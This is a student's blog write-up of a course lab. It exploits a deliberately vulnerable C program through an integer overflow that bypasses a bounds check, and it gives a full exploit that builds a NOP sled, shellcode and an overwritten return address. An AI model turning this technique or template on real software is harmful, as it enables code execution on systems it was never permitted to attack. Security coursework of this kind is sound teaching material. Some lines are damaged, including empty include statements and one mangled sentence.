Target 3 was my favorite of the targets that my professor assigned so far, it combines a lot of things read about into one project that really got me thinking and kicking myself at how simple it was when you have it all figured out. Here is the Target 3 that was assigned below.
//Target3.c
#include
#include
#include
struct widget_t {
double x;
double y;
int count;
};
#define MAX_WIDGETS 1000
int foo(char *in, int count)
{
struct widget_t buf[MAX_WIDGETS];
if (count < MAX_WIDGETS)
memcpy(buf, in, count * sizeof(struct widget_t));
return 0;
}
int main(int argc, char *argv[])
{
int count;
char *in;
if (argc != 2)
{
fprintf(stderr, "target3: argc != 2\n");
exit(EXIT_FAILURE);
}
/*
* format of argv[1] is as follows:
*
* - a count, encoded as a decimal number in ASCII
* - a comma (",")
* - the remainder of the data, treated as an array
* of struct widget_t
*/
count = (int)strtoul(argv[1], &in, 10);
if (*in != ',')
{
fprintf(stderr, "target3: argument format is [count],[data]\n");
exit(EXIT_FAILURE);
}
in++; /* advance one byte, past the comma */
foo(in, count);
return 0;
}
Here we see a potential exploit, if we can somehow get the 'count * sizeof(struct widget_t)' over the correct buffer size, we can inject our own code and take control. There are two obstacles in this matter, the first being that we cannot get the count to be over 999 due to the 'if countstruct widget_t buf[MAX_WIDGETS]' states that we can only have 1000 widget_t's this means the total buffer size is 20000 (1000 * 20). We now have a number that we can use in order to gauge our exploit.
One other thing to note is in the main program, it requires the argument to be in a [count],[data] format. Note the ',' it must be in the argument in order to work. You can see the comma is actually used in order to separate the count and data arguments from each other and isn't read in as either count or data thanks to the in++ statement. As the comment next to the in++ statement, it only advances one byte.
Gdb examination of Target3.c
You can use 999 for count and any char variable, I'm quite partial to 'a' ('\x61') since that is what my professor used in his example for target1.c a while ago. Anyway, use those arguments and set a break point at foo. Examine foo's buf by typing 'x buf'. This will allow you to see where the local variables start, we will be using this memory location, write it down. You can also examine the eip, ebp and local variables and your parameters to see if everything is in order. While we're here we can also play around with the count variable, this is also where things get interesting. We can change count by using the 'set' command that Gdb provides. Here we can also set it to a number beyond 20000 bytes, but this will just cause a seg fault or some other problem. We want to figure out how to get the 'count * sizeof(struct widget_t)' to be over 20000 bytes, yet we want the count be under 1000. How is this possible you might ask? Integer overflows. [2] We can actually use the integer ability to "wrap-around" the negative integer spectrum and get a positive 'count * sizeof(struct widget_t)' in order to overflow it! It is all thanks to the fact that we can multiply the count by sizeof(struct widget_t) that we are able to do so.
But what is the number? That takes a bit of experimentation, first, let's set count to the most negative integer we possibly can and see what we get. [3] -2147483647 is the most negative number, when we set this to count we get a 'count * sizeof(struct widget_t)' of 20. This is 20000 bytes below what we need, but remember, 1 count makes 20 bytes in the end. Meaning count = -2147483647 is the same as count = 1. So the idea is now clear, count needs to be -2147482647. This will satisfy the if statement in foo, and allow us to overflow struct_t's buffer by 20 bytes or more if we choose. Below is our changed Sploit3.c to fit the things we stated.
//Sploit3.c
#include
#include
#include
#include
#include "shellcode.h"
#define TARGET "/tmp/target3"
int main(void)
{
char *args[3];
char *env[1];
char *count;
args[1] = malloc (20028);
int i, j;
args[1][0] = '-';
args[1][1] = '2';
args[1][2] = '1';
args[1][3] = '4';
args[1][4] = '7';
args[1][5] = '4';
args[1][6] = '8';
args[1][7] = '2';
args[1][8] = '6';
args[1][9] = '4';
args[1][10] = '7';
args[1][11] = ',';
for (i = 12; i < 20024 - strlen(shellcode); i++) {
args[1][i] = 0x90;
}
for (j = 0, i=i; j < strlen(shellcode); i++, j++) {
args[1][i] = shellcode[j];
}
args[1][20027] = 0xbf;
args[1][20026] = 0xff;
args[1][20025] = 0x62;
args[1][20024] = 0x20;
args[1][20028] = '\x00';
args[0] = TARGET; args[2] = NULL; env[0] = NULL;
if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");
return 0;
}
Examining sploit3.c
First thing I did was to set the memory allocation to 20028, this was necessary because I needed enough bytes to fill the parameters and local variables enough so that the shellcode and fill NOPs everywhere until it gets to the shellcode. So we set the first argument which will be 'count' to our negative wrap around number. We also don't forget to include the comma or else the program won't work and will return an error that it needs two arguments. Next we fill the parameters and local variables with our NOPs. This is the first for loop statement.
The second for loop takes care of the shellcode. We set the first for loop to stop where we have enough room to inject our shellcode and new eip. The second for loop injects our shellcode. Then we have another set of arguments which set our eip to whatever we choose (the starting address of the buf). In this case we want to set to the beginning of the local variables so that it will return there, skip through the NOPs, reach the shellcode, and execute it! Finally the last argument is the terminator, which is also necessary otherwise an error will be returned.
That's it for our in depth look at Target3.c. I hope you enjoyed reading about it as much as I enjoyed working on this one! I'm also looking for a better way to make code more readable on blogger.com I know it's terrible to read on here. Going to read on some HTML & HTML 5 over the summer so I'll be sure to post how that is going. Cheers, and good luck on your hacking escapades!
References
[1] http://msdn.microsoft.com/en-us/library/cc953fe1.aspx
[2] http://www.phrack.com/issues.html?issue=60&id=10
[3] http://msdn.microsoft.com/en-us/library/7fh3a000%28v=vs.80%29.aspx